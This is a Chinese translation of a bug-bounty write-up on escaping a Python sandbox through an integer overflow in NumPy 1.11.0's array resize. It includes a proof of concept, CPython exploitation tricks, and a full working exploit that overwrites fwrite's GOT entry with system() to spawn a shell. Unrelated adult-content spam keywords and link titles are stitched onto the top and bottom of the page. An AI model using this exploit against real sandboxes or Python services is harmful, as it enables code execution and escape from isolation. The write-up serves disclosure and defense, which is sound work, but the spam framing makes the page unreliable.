精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用內(nèi)存破壞實現(xiàn)Python沙盒逃逸

開發(fā) 后端
幾周之前心癢難耐的我參與了一段時間的漏洞賞金計劃。業(yè)余這個漏洞賞金游戲最艱巨的任務(wù)就是挑選一個能夠獲得最高回報的程序。不久我就找到一個存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來很有趣,所以我決定繼續(xù)研究它。

幾周之前心癢難耐的我參與了一段時間的漏洞賞金計劃。業(yè)余這個漏洞賞金游戲最艱巨的任務(wù)就是挑選一個能夠獲得最高回報的程序。不久我就找到一個存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來很有趣,所以我決定繼續(xù)研究它。

[[207283]]

進(jìn)過一段時間的敲打之后,我發(fā)現(xiàn)了在Python層實現(xiàn)沙盒逃逸的方法。報告歸檔了,漏洞幾天內(nèi)及時被修復(fù),得到了一筆不錯的賞金。完美!這是一個我的漏洞賞金征程的完美開端。但這篇博文不是關(guān)于這篇報告的。總之,從技術(shù)的角度來說我發(fā)現(xiàn)這個漏洞的過程并不有趣。事實證明回歸總可能發(fā)生問題。

起初并不確信Python沙盒的安全性會做的如此簡單。沒有太多細(xì)節(jié),沙盒使用的是操作系統(tǒng)級別隔離與鎖定Python解釋器的組合。Python環(huán)境使用的是自定義的白名單/黑名單的方式來阻止對內(nèi)置模塊,函數(shù)的訪問。基于操作系統(tǒng)的隔離提供了一些額外的保護(hù),但是它相較于今天的標(biāo)準(zhǔn)來說已經(jīng)過時了。從Python解釋器的逃離并不是一個完全的勝利,但是它能夠使攻擊者危險地接近于黑掉整個系統(tǒng)。

因此我回到了應(yīng)用程序進(jìn)行了測試。沒有運氣,這確實是一個困難的挑戰(zhàn)。但突然我有了一個想法——Python模塊通常只是大量C代碼的封裝。這里肯定會有未被發(fā)現(xiàn)的內(nèi)存破壞漏洞。領(lǐng)用內(nèi)存破壞我就能夠突破Python環(huán)境的限制。

從哪里開始呢?我知道沙盒內(nèi)部導(dǎo)入模塊的白名單。或許我該先運行一個分布式的AFL fuzzer?還是一個符號執(zhí)行引擎?抑或使用先進(jìn)的靜態(tài)分析工具來掃描他們。當(dāng)然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。

Python

結(jié)果表明在狩獵之初我并沒有這個先見之明,但問題不大。直覺引導(dǎo)我通過手動代碼審計和測試發(fā)現(xiàn)一個沙盒白名單模塊中的一個可利用的內(nèi)存破壞漏洞。這個漏洞存在于Numpy中,一個基本的科學(xué)計算庫——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來查看一下代碼的行數(shù)。

在這篇文章的其余部分,首先我將描述導(dǎo)致這個漏洞的觸發(fā)條件。接下來,我將討論一些漏洞利用開發(fā)人員應(yīng)該了解的CPython運行時的奇事,然后我將逐步進(jìn)入實際的利用。最后,我總結(jié)了一些Python應(yīng)用程序中量化內(nèi)存損壞問題的想法。

漏洞

我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數(shù)溢出錯誤。自v1.12.0以來,該問題已經(jīng)解決,但沒有發(fā)布安全公告。

該漏洞駐留在用于調(diào)整Numpy的多維數(shù)組類對象(ndarray和friends)的API中。定義數(shù)組形狀的元組調(diào)用了resize,其中元組的每個元素都是維度的大小。

  1. $ python 
  2.  
  3. >>> import numpy as np 
  4.  
  5. >>> arr = np.ndarray((2, 2), ‘int32’) 
  6.  
  7. >>> arr.resize((2, 3)) 
  8.  
  9. >>> arr 
  10.  
  11. array([[-895628408, 32603, -895628408], 
  12.  
  13. [ 32603, 0, 0]], dtype=int32

是的這個元組會泄漏未初始化的內(nèi)存,但在這篇博文中我們不會討論這個問題

如上所言,resize實質(zhì)上會realloc 一個buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價于 realloc(buffer,2*3*sizeof(int32)). 下一個代碼片段是C中resize的重寫實現(xiàn)。

  1. NPY_NO_EXPORT PyObject * 
  2.  
  3. PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck, 
  4.  
  5. NPY_ORDER order) 
  6.  
  7.  
  8. // npy_intp is `long long` 
  9.  
  10. npy_intp* new_dimensions = newshape->ptr; 
  11.  
  12. npy_intp newsize = 1
  13.  
  14. int new_nd = newshape->len; 
  15.  
  16. int k; 
  17.  
  18. // NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff) 
  19.  
  20. npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize; 
  21.  
  22. for(k = 0; k < new_nd; k++) { 
  23.  
  24. newsize *= new_dimensions[k]; 
  25.  
  26. if (newsize <= 0 || newsize > largest) { 
  27.  
  28. return PyErr_NoMemory(); 
  29.  
  30.  
  31.  
  32. if (newsize == 0) { 
  33.  
  34. sd = PyArray_DESCR(self)->elsize; 
  35.  
  36.  
  37. else { 
  38.  
  39. sd = newsize*PyArray_DESCR(self)->elsize; 
  40.  
  41.  
  42. /* Reallocate space if needed */ 
  43.  
  44. new_data = realloc(PyArray_DATA(self), sd); 
  45.  
  46. if (new_data == NULL) { 
  47.  
  48. PyErr_SetString(PyExc_MemoryError, 
  49.  
  50. “cannot allocate memory for array”); 
  51.  
  52. return NULL; 
  53.  
  54.  
  55. ((PyArrayObject_fields *)self)->data = new_data

發(fā)現(xiàn)漏洞了嗎? 可以在for循環(huán)(第13行)中看到,每個維度相乘以產(chǎn)生新的大小。稍后(第25行),將新大小和元素大小的乘積作為數(shù)組大小傳遞給realloc。在realloc之前有一些關(guān)于大小的驗證,但是它不檢查整數(shù)溢出,這意味著非常大的維度可能導(dǎo)致分配大小不足的數(shù)組。 最終,這給攻擊者一個可利用的exploit類型:通過從具有溢出數(shù)組的大小索引來獲得讀寫任意內(nèi)存的能力。

讓我們來快速開發(fā)一個poc來驗證bug的存在

  1. $ cat poc.py 
  2.  
  3. import numpy as np 
  4.  
  5. arr = np.array('A'*0x100) 
  6.  
  7. arr.resize(0x1000, 0x100000000000001) 
  8.  
  9. print "bytes allocated for entire array:    " + hex(arr.nbytes) 
  10.  
  11. print "max # of elemenets for inner array:  " + hex(arr[0].size) 
  12.  
  13. print "size of each element in inner array: " + hex(arr[0].itemsize) 
  14.  
  15. arr[0][10000000000] 
  16.  
  17. $ python poc.py 
  18.  
  19. bytes allocated for entire array:    0x100000 
  20.  
  21. max # of elemenets for inner array:  0x100000000000001 
  22.  
  23. size of each element in inner array: 0x100 
  24.  
  25. [1]    2517 segmentation fault (core dumped)  python poc.py 
  26.  
  27. $ gdb `which python` core 
  28.  
  29. ... 
  30.  
  31. Program terminated with signal SIGSEGV, Segmentation fault. 
  32.  
  33. (gdb) bt 
  34.  
  35. #0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010descr=0x7f20a2fb5870
  36.  
  37. base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651 
  38.  
  39. #1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80op=<optimized out>
  40.  
  41. at numpy/core/src/multiarray/mapping.c:1619 
  42.  
  43. #2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539… 
  44.  
  45. (gdb) x/i $pc 
  46.  
  47. => 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx) 
  48.  
  49. (gdb) x/g $rcx 
  50.  
  51. 0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f 

Cpython 運行時的一些奇怪之處

在開發(fā)exp之前,我想討論一些CPython運行時的特征來簡化exp的開發(fā),同時討論一些阻擾exp開發(fā)的方法。 如果您想直接進(jìn)入漏洞利用,請直接跳過本節(jié)。

內(nèi)存泄露

通常,首要障礙之一就是要挫敗地址空間布局隨機(jī)化(ASLR)。 幸運的是,對于攻擊者來說,Python使這變得很容易。 內(nèi)置id函數(shù)返回對象的內(nèi)存地址,或者更準(zhǔn)確地說,封裝對象的PyObject結(jié)構(gòu)的地址。

  1. $ gdb -q — arg /usr/bin/python2.7 
  2.  
  3. (gdb) run -i 
  4.  
  5. … 
  6.  
  7. >>> a = ‘A’*0x100 
  8.  
  9. >>> b = ‘B’*0x100000 
  10.  
  11. >>> import numpy as np 
  12.  
  13. >>> c = np.ndarray((10, 10)) 
  14.  
  15. >>> hex(id(a)) 
  16.  
  17. ‘0x7ffff7f65848’ 
  18.  
  19. >>> hex(id(b)) 
  20.  
  21. ‘0xa52cd0’ 
  22.  
  23. >>> hex(id(c)) 
  24.  
  25. ‘0x7ffff7e777b0’ 

在現(xiàn)實世界的應(yīng)用程序中,開發(fā)人員應(yīng)確保不向用戶暴露id(object)。 在沙盒的環(huán)境中,你不可能對此行為做太多的擦奧做,除了可能將id添加進(jìn)黑名單或重新實現(xiàn)id來返回哈希。

理解內(nèi)存分配行為

了解分配器對于編寫exp至關(guān)重要。Python對不同的對象類型和大小實行不同的分配策略。我們來看看我們的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy數(shù)組0x7ffff7e777b0的位置。

  1. $ cat /proc/`pgrep python`/maps 
  2.  
  3. 00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7 
  4.  
  5. 008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7 
  6.  
  7. 008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7 
  8.  
  9. 00962000–00fa8000 rw-p 00000000 00:00 0 [heap]  # big string 
  10.  
  11. ... 
  12.  
  13. 7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array 
  14.  
  15. ... 
  16.  
  17. 7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string 

Python 對象結(jié)構(gòu)

溢出和破壞Python對象的元數(shù)據(jù)是一個很強(qiáng)大的能力,因此理解Python對象如何是表示的很有用。Python對象都派生自PyObject,這是一個包含引用計數(shù)和對象實際類型描述符的結(jié)構(gòu)。 值得注意的是,類型描述符包含許多字段,包括可能對讀取或覆蓋有用的函數(shù)指針。

先檢查一下我們在前面創(chuàng)建的小字符串。

  1. (gdb) print *(PyObject *)0x7ffff7f65848 
  2.  
  3. $2 = {ob_refcnt = 1ob_type = 0x9070a0 <PyString_Type>
  4.  
  5. (gdb) print *(PyStringObject *)0x7ffff7f65848 
  6.  
  7. $3 = {ob_refcnt = 1ob_type = 0x9070a0 <PyString_Type>ob_size = 256ob_shash = -1, ob_sstate = 0ob_sval = “A”} 
  8.  
  9. (gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval 
  10.  
  11. 0x7ffff7f6586c: ‘A’ <repeats 200 times>... 
  12.  
  13. (gdb) ptype PyString_Type 
  14.  
  15. type = struct _typeobject { 
  16.  
  17. Py_ssize_t ob_refcnt; 
  18.  
  19. struct _typeobject *ob_type; 
  20.  
  21. Py_ssize_t ob_size; 
  22.  
  23. const char *tp_name; 
  24.  
  25. Py_ssize_t tp_basicsize; 
  26.  
  27. Py_ssize_t tp_itemsize; 
  28.  
  29. destructor tp_dealloc; 
  30.  
  31. printfunc tp_print; 
  32.  
  33. getattrfunc tp_getattr; 
  34.  
  35. setattrfunc tp_setattr; 
  36.  
  37. cmpfunc tp_compare; 
  38.  
  39. reprfunc tp_repr; 
  40.  
  41. PyNumberMethods *tp_as_number; 
  42.  
  43. PySequenceMethods *tp_as_sequence; 
  44.  
  45. PyMappingMethods *tp_as_mapping; 
  46.  
  47. hashfunc tp_hash; 
  48.  
  49. ternaryfunc tp_call; 
  50.  
  51. reprfunc tp_str; 
  52.  
  53. getattrofunc tp_getattro; 
  54.  
  55. setattrofunc tp_setattro; 
  56.  
  57. PyBufferProcs *tp_as_buffer; 
  58.  
  59. long tp_flags; 
  60.  
  61. const char *tp_doc; 
  62.  
  63. traverseproc tp_traverse; 
  64.  
  65. inquiry tp_clear; 
  66.  
  67. richcmpfunc tp_richcompare; 
  68.  
  69. Py_ssize_t tp_weaklistoffset; 
  70.  
  71. getiterfunc tp_iter; 
  72.  
  73. iternextfunc tp_iternext; 
  74.  
  75. struct PyMethodDef *tp_methods; 
  76.  
  77. struct PyMemberDef *tp_members; 
  78.  
  79. struct PyGetSetDef *tp_getset; 
  80.  
  81. struct _typeobject *tp_base; 
  82.  
  83. PyObject *tp_dict; 
  84.  
  85. descrgetfunc tp_descr_get; 
  86.  
  87. descrsetfunc tp_descr_set; 
  88.  
  89. Py_ssize_t tp_dictoffset; 
  90.  
  91. initproc tp_init; 
  92.  
  93. allocfunc tp_alloc; 
  94.  
  95. newfunc tp_new; 
  96.  
  97. freefunc tp_free; 
  98.  
  99. inquiry tp_is_gc; 
  100.  
  101. PyObject *tp_bases; 
  102.  
  103. PyObject *tp_mro; 
  104.  
  105. PyObject *tp_cache; 
  106.  
  107. PyObject *tp_subclasses; 
  108.  
  109. PyObject *tp_weaklist; 
  110.  
  111. destructor tp_del; 
  112.  
  113. unsigned int tp_version_tag; 
  114.  

有許多有用的字段可用于讀取或?qū)懭腩愋椭羔槪瘮?shù)指針,數(shù)據(jù)指針,大小等。

Shellcode like it’s 1999

ctypes庫作為Python和C代碼之間的橋梁。它提供與C兼容的數(shù)據(jù)類型,并允許在DLL或共享庫中調(diào)用函數(shù)。許多具有C綁定或需要調(diào)用共享庫的模塊需要導(dǎo)入ctypes。

我注意到,導(dǎo)入ctypes會導(dǎo)致以讀/寫/執(zhí)行權(quán)限設(shè)置的4K大小的內(nèi)存區(qū)域。 如果還不明顯,這意味著攻擊者甚至不需要編寫一個ROP鏈。假定你已經(jīng)找到了RWX區(qū)域。利用一個bug就像把指針指向你的shellcode一樣簡單。

自己測試一下!

  1. $ cat foo.py 
  2.  
  3. import ctypes 
  4.  
  5. while True: 
  6.  
  7. pass 
  8.  
  9. $ python foo.py 
  10.  
  11. ^Z 
  12.  
  13. [2] + 30567 suspended python foo.py 
  14.  
  15. $ grep rwx /proc/30567/maps 
  16.  
  17. 7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0 

進(jìn)一步調(diào)查發(fā)現(xiàn)libffi的封閉API負(fù)責(zé)mmap RWX區(qū)域。 但是,該區(qū)域不能在某些平臺上分配RWX,例如啟用了selinux或PAX mprotect的系統(tǒng),但有一些代碼可以解決這個限制。

我沒有花太多時間嘗試可靠地RWX mapping,但是從理論上講,如果你有一個任意讀取的exploit原函數(shù),應(yīng)該是可能的。 當(dāng)ASLR應(yīng)用于庫時,動態(tài)鏈接器以可預(yù)測的順序映射庫的內(nèi)存。庫的內(nèi)存包括庫私有的全局變量和代碼本身。 Libffi將對RWX內(nèi)存的引用存儲為全局。例如,如果在堆上找到指向libffi函數(shù)的指針,則可以將RWX區(qū)域指針的地址預(yù)先計算為與libffi函數(shù)指針的地址的偏移量。每個庫版本都需要調(diào)整偏移量。

The Exploit

我在Ubuntu 14.04.5和16.04.1上測試了Python2.7二進(jìn)制文件的安全相關(guān)編譯器標(biāo)志。 發(fā)現(xiàn)幾個弱點,這對攻擊者來說是非常有用的:

部分RELRO:可執(zhí)行文件的GOT seciotn,包含動態(tài)鏈接到二進(jìn)制文件的庫函數(shù)的指針,是可寫的。 例如,exploits可以用system()替換printf()的地址。

沒有PIE:二進(jìn)制不是位置無關(guān)的可執(zhí)行文件,這意味著當(dāng)內(nèi)核將ASLR應(yīng)用于大多數(shù)內(nèi)存映射時,二進(jìn)制本身的內(nèi)容被映射到靜態(tài)地址。 由于GOT seciotn是二進(jìn)制文件的一部分,因此PIE使攻擊者更容易找到并寫入GOT。

雖然CPython是一個充滿了漏洞開發(fā)工具的環(huán)境,但是有一些力量破壞了我的許多漏洞利用嘗試,并且難以調(diào)試。

垃圾收集器,類型系統(tǒng)以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對象元數(shù)據(jù)。

id()可能不可靠。由于一些原因我無法確定,Python有時會在使用原始對象時傳遞對象的副本。

分配對象的區(qū)域有些不可預(yù)測。由于一些原因我無法確定,特定的編碼模式導(dǎo)致緩沖區(qū)被分配到brk堆中,而其他模式會在一個python指定的mmap’d堆中分配。

在發(fā)現(xiàn)numpy整數(shù)溢出后不久,我向提交了一個劫持指令指針的概念證明的報告,雖然沒有注入任何代碼。 當(dāng)我最初提交時,我沒有意識到PoC實際上是不可靠的,并且我無法對其服務(wù)器進(jìn)行正確的測試,因為驗證劫持指令指針需要訪問core dump或debugger。 供應(yīng)商承認(rèn)這個問題的合法性,但是比起我的第一份報告,他們的給的回報比較少。

還算不賴

我不是一個漏洞利用開發(fā)者,但挑戰(zhàn)自己是我做得更好。 經(jīng)過多次試錯,我最終寫了一個似乎是可靠exp。 不幸的是,我無法在供應(yīng)商的沙盒中測試它,因為在完成之前更新了numpy,但是在Python解釋器中本地測試時它的工作正常。

在高層次來說上,漏洞利用溢出numpy數(shù)組的大小來獲得任意的讀/寫能力。 原函數(shù)用于將系統(tǒng)的地址寫入fwrite的GOT / PLT條目。 最后,Python內(nèi)置的print調(diào)用fwrite覆蓋,所以現(xiàn)在你可以調(diào)用print ‘/bin/sh’來獲取一個shell,或者用任何命令替換/ bin / sh。

我建議從自下而上開始閱讀,包括評論。 如果您使用的是不同版本的Python,請在運行該文件之前調(diào)整fwrite和system的GOT位置。

  1. import numpy as np 
  2.  
  3.  
  4.  
  5. # addr_to_str is a quick and dirty replacement for struct.pack(), needed 
  6.  
  7. # for sandbox environments that block the struct module. 
  8.  
  9. def addr_to_str(addr): 
  10.  
  11. addr_str = "%016x" % (addr) 
  12.  
  13. ret = str() 
  14.  
  15. for i in range(16, 0, -2): 
  16.  
  17. retret = ret + addr_str[i-2:i].decode('hex') 
  18.  
  19. return ret 
  20.  
  21.  
  22.  
  23. # read_address and write_address use overflown numpy arrays to search for 
  24.  
  25. # bytearray objects we've sprayed on the heap, represented as a PyByteArray 
  26.  
  27. # structure: 
  28.  
  29.  
  30. # struct PyByteArray { 
  31.  
  32. #     Py_ssize_t ob_refcnt; 
  33.  
  34. #     struct _typeobject *ob_type; 
  35.  
  36. #     Py_ssize_t ob_size; 
  37.  
  38. #     int ob_exports; 
  39.  
  40. #     Py_ssize_t ob_alloc; 
  41.  
  42. #     char *ob_bytes; 
  43.  
  44. # }; 
  45.  
  46.  
  47. # Once located, the pointer to actual data `ob_bytes` is overwritten with the 
  48.  
  49. # address that we want to read or write. We then cycle through the list of byte 
  50.  
  51. # arrays until we find the  one that has been corrupted. This bytearray is used 
  52.  
  53. # to read or write the desired location. Finally, we clean up by setting 
  54.  
  55. # `ob_bytes` back to its original value. 
  56.  
  57. def find_address(addr, data=None): 
  58.  
  59. i = 0 
  60.  
  61. j = -1 
  62.  
  63. k = 0 
  64.  
  65.  
  66.  
  67. if data: 
  68.  
  69. size = 0x102 
  70.  
  71. else: 
  72.  
  73. size = 0x103 
  74.  
  75. for k, arr in enumerate(arrays): 
  76.  
  77. i = 0 
  78.  
  79. for i in range(0x2000): # 0x2000 is a value that happens to work 
  80.  
  81. # Here we search for the signature of a PyByteArray structure 
  82.  
  83. j = arr[0][i].find(addr_to_str(0x1))                  # ob_refcnt 
  84.  
  85. if (j < 0 or 
  86.  
  87. arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or  # ob_size 
  88.  
  89. arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc 
  90.  
  91. continue 
  92.  
  93. idx_bytes = j+0x28                                    # ob_bytes 
  94.  
  95.  
  96.  
  97. # Save an unclobbered copy of the bytearray metadata 
  98.  
  99. saved_metadata = arrays[k][0][i] 
  100.  
  101.  
  102.  
  103. # Overwrite the ob_bytes pointer with the provded address 
  104.  
  105. addr_string = addr_to_str(addr) 
  106.  
  107. new_metadata = (saved_metadata[0:idx_bytes] + 
  108.  
  109. addr_string + 
  110.  
  111. saved_metadata[idx_bytes+8:]) 
  112.  
  113. arrays[k][0][i] = new_metadata 
  114.  
  115.  
  116.  
  117. ret = None 
  118.  
  119. for bytearray_ in bytearrays: 
  120.  
  121. try: 
  122.  
  123. # We differentiate the signature by size for each 
  124.  
  125. # find_address invocation because we don't want to 
  126.  
  127. # accidentally clobber the wrong  bytearray structure. 
  128.  
  129. # We know we've hit the structure we're looking for if 
  130.  
  131. # the size matches and it contents do not equal 'XXXXXXXX' 
  132.  
  133. if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX': 
  134.  
  135. if data: 
  136.  
  137. bytearray_[0:8] = data # write memory 
  138.  
  139. else: 
  140.  
  141. ret = bytearray_[0:8] # read memory 
  142.  
  143.  
  144.  
  145. # restore the original PyByteArray->ob_bytes 
  146.  
  147. arrays[k][0][i] = saved_metadata 
  148.  
  149. return ret 
  150.  
  151. except: 
  152.  
  153. pass 
  154.  
  155. raise Exception("Failed to find address %x" % addr) 
  156.  
  157.  
  158.  
  159. def read_address(addr): 
  160.  
  161. return find_address(addr) 
  162.  
  163.  
  164.  
  165. def write_address(addr, data): 
  166.  
  167. find_address(addr, data) 
  168.  
  169.  
  170.  
  171.  
  172.  
  173. # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These 
  174.  
  175. # addresses are static for a given Python binary when compiled without -fPIE. 
  176.  
  177. # You can obtain them yourself with the following command: 
  178.  
  179. # `readelf -a /path/to/python/ | grep -E '(system|fwrite)' 
  180.  
  181. SYSTEM = 0x8eb278 
  182.  
  183. FWRITE = 0x8eb810 
  184.  
  185.  
  186.  
  187. # Spray the heap with some bytearrays and overflown numpy arrays. 
  188.  
  189. arrays = [] 
  190.  
  191. bytearrays = [] 
  192.  
  193. for i in range(100): 
  194.  
  195. arrays.append(np.array('A'*0x100)) 
  196.  
  197. arrays[-1].resize(0x1000, 0x100000000000001) 
  198.  
  199. bytearrays.append(bytearray('X'*0x102)) 
  200.  
  201. bytearrays.append(bytearray('X'*0x103)) 
  202.  
  203.  
  204.  
  205. # Read the address of system() and write it to fwrite()'s PLT entry. 
  206.  
  207. data = read_address(SYSTEM) 
  208.  
  209. write_address(FWRITE, data) 
  210.  
  211.  
  212.  
  213. # print() will now call system() with whatever string you pass 
  214.  
  215. print "PS1='[HACKED] $ ' /bin/sh" 

運行此exp會返回給你一個shell

  1. $ virtualenv .venv 
  2.  
  3. Running virtualenv with interpreter /usr/bin/python2 
  4.  
  5. New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2 
  6.  
  7. Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python 
  8.  
  9. Installing setuptools, pkg_resources, pip, wheel...done. 
  10.  
  11. $ source .venv/bin/activate 
  12.  
  13. (.venv) $ pip install numpy==1.11.0 
  14.  
  15. Collecting numpy==1.11.0 
  16.  
  17. Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl 
  18.  
  19. Installing collected packages: numpy 
  20.  
  21. Successfully installed numpy-1.11.0 
  22.  
  23. (.venv) $ python --version 
  24.  
  25. Python 2.7.12 
  26.  
  27. (.venv) $ python numpy_exploit.py 
  28.  
  29. [HACKED] $ 

如果您不運行Python 2.7.12,請參閱漏洞利用中的注釋,了解如何使其適用于您的Python版本。

量化風(fēng)險

眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認(rèn)識到,內(nèi)存破壞在流行的Python模塊中一直沒有像CVE,安全公告,甚至在發(fā)行說明中提到安全修補(bǔ)程序一樣被報告。

是的,Python模塊中有很多內(nèi)存損壞的bug。 當(dāng)然不是所有的都是可以利用的,但你必須從某個地方開始。為了解釋內(nèi)存破壞造成的風(fēng)險,我發(fā)現(xiàn)使用兩個獨立的用例來描述對話很有用:常規(guī)Python應(yīng)用程序和沙盒不受信任的代碼。

正則表達(dá)式

我們關(guān)心的應(yīng)用程序類型是具有有意義的攻擊面的那些。考慮Web應(yīng)用程序和其他面向網(wǎng)絡(luò)的服務(wù),處理不受信任的內(nèi)容,系統(tǒng)特權(quán)服務(wù)等的客戶端應(yīng)用程序。許多這些應(yīng)用程序?qū)胗沙啥袰代碼便宜而來的Python模塊,且將其內(nèi)存破壞視為安全問題。這個純粹的想法可能會使一些安全專業(yè)人員夙夜難寐,但實際上風(fēng)險通常被忽視或忽視。我懷疑有幾個原因:

  • 遠(yuǎn)程識別和利用內(nèi)存破壞問題的難度相當(dāng)高,特別是對于閉源和遠(yuǎn)程應(yīng)用程序。
  • 應(yīng)用程序暴露不可信輸入路徑以達(dá)到易受攻擊的功能的可能性可能相當(dāng)?shù)汀?/li>
  • 意識不足,因為Python模塊中的內(nèi)存損壞錯誤通常不會被視為安全問題。

公平地說,由于某些隨機(jī)Python模塊中的緩沖區(qū)溢出而導(dǎo)致入侵的可能性可能相當(dāng)?shù)汀5牵俅温暶鳎瑑?nèi)存破壞的缺陷在發(fā)生時可能是非常有害的。有時它甚至不會讓任何人明確地利用他們來造成破壞。更糟糕的是,當(dāng)庫維護(hù)者在安全性方面不考慮內(nèi)存破壞問題時,給庫打上安全補(bǔ)丁是不可能的。

如果您開發(fā)了一個主要的Python應(yīng)用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴的C代碼數(shù)量,并分析本地代碼暴露于應(yīng)用程序邊緣的潛力。

沙盒

一些服務(wù)允許用戶在沙箱內(nèi)運行不受信任的Python代碼。 操作系統(tǒng)級的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來。不行的是,今日仍然可以發(fā)現(xiàn)用戶使用較弱的沙盒技術(shù) – 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請參閱pypy-sandbox和pysandbox)。

內(nèi)存破壞完全打破了OS不執(zhí)行沙盒這一原則。 執(zhí)行Python代碼子集的能力使得開發(fā)遠(yuǎn)exp比常規(guī)應(yīng)用程序更加方便。即使是由于其虛擬化系統(tǒng)調(diào)用的雙進(jìn)程模型而聲稱安全的Pypy-sandbox也可能被緩沖區(qū)溢出所破壞。

如果您想運行任何不受信任的代碼,請投入精力建立一個安全的操作系統(tǒng)和網(wǎng)絡(luò)架構(gòu)來沙盒執(zhí)行它。

責(zé)任編輯:趙寧寧 來源: 36大數(shù)據(jù)
相關(guān)推薦

2015-08-24 13:46:17

2013-05-02 14:48:52

iOS開發(fā)沙盒SandBox結(jié)構(gòu)

2022-02-17 16:32:58

Android隱私沙盒隱私保護(hù)標(biāo)準(zhǔn)

2015-08-07 14:39:23

2023-07-09 00:32:12

2017-03-17 09:31:40

2021-05-30 19:29:12

內(nèi)存Go語言

2011-06-30 15:42:49

卡巴斯基沙盒

2009-07-24 20:08:06

2022-07-25 15:38:59

Go 語言Go 語言編譯器內(nèi)存逃逸

2011-05-10 14:27:27

2024-01-16 07:46:11

2020-09-18 10:46:10

網(wǎng)絡(luò)攻擊

2020-09-18 10:56:00

惡意軟件沙盒網(wǎng)絡(luò)攻擊

2023-04-28 17:53:09

Kubernetes沙盒Signadot

2018-04-15 16:09:10

2018RSA創(chuàng)新沙盒數(shù)據(jù)泄露

2012-11-15 10:50:51

2015-11-25 16:12:13

2011-06-28 16:10:18

沙盒效應(yīng)網(wǎng)站排名

2011-06-20 18:31:10

沙盒效應(yīng)
點贊
收藏

51CTO技術(shù)棧公眾號

精品久久影视| 久久久久久久久久久久久久久久av| 国产在线精品一区二区三区| 右手影院亚洲欧美| 蜜臀久久精品久久久久| 91亚洲一区| 色综合久久久久网| 99中文字幕| 午夜精品久久久久99蜜桃最新版| 韩日毛片在线观看| 清纯唯美亚洲综合一区| 亚洲美洲欧洲综合国产一区| 国产精品毛片视频| 中文乱码免费一区二区| 51精品在线观看| 青娱乐国产精品视频| 成人欧美一区| 小嫩嫩精品导航| 精品国产免费视频| 亚洲爆乳无码精品aaa片蜜桃| 中文字幕理论片| 精品影片在线观看的网站| 午夜精品一区在线观看| 国产成人av一区二区三区| 久久av红桃一区二区禁漫| 一区二区视频免费完整版观看| 成人午夜在线视频| 久久91精品国产91久久久| 日韩成人精品视频在线观看| 成黄免费在线| 成人妖精视频yjsp地址| 成人h视频在线| 91禁男男在线观看| 国产精品4hu.www| 欧美国产精品劲爆| 国模精品娜娜一二三区| 国产又粗又长又黄| 色婷婷一区二区三区| 欧美老年两性高潮| 成人在线观看www| 国产激情久久久久久熟女老人av| 日本波多野结衣在线| 女厕盗摄一区二区三区| 国产mv日韩mv欧美| 久久久免费高清电视剧观看| 国产精品日日摸夜夜爽| 欧美xxxx少妇| 国产.欧美.日韩| 成人性生交大片免费看小说 | 国产ts人妖一区二区三区| 国产三级精品三级在线| 欧美黑人一区| 国产精品毛片久久久久久| 国产精品专区第二| 精品人妻伦九区久久aaa片| 日本免费一区二区视频| 午夜亚洲国产au精品一区二区| 99精品视频网站| 免费看黄网站在线观看| 国产精品一级在线| 欧美性受xxxx黑人猛交| 日本一级淫片免费放| 国产免费播放一区二区| 欧美日韩国产天堂| 欧美高清中文字幕| 裸体xxxx视频在线| 久久99九九99精品| 97在线观看免费| 日韩一卡二卡在线观看| 欧美gay男男猛男无套| 日韩最新在线视频| aa片在线观看视频在线播放| 国产成人77亚洲精品www| 欧美亚洲禁片免费| 国产精品一线二线三线| 福利视频在线导航| 成人精品免费网站| 国产日韩av在线播放| 国产成人亚洲精品自产在线 | 亚洲欧洲三级| 国产成人三级在线观看视频| 天堂在线一区二区| 欧美激情免费观看| 久久久久99精品成人| 欧美电影免费播放| 欧美乱妇40p| 人人干人人干人人干| 日韩和欧美的一区| 97视频在线观看播放| 成人在线免费看视频| 欧美成人69| 日韩中文字幕在线| 免费一级全黄少妇性色生活片| 日韩欧美高清| 九九精品视频在线观看| 国产欧美日韩另类| 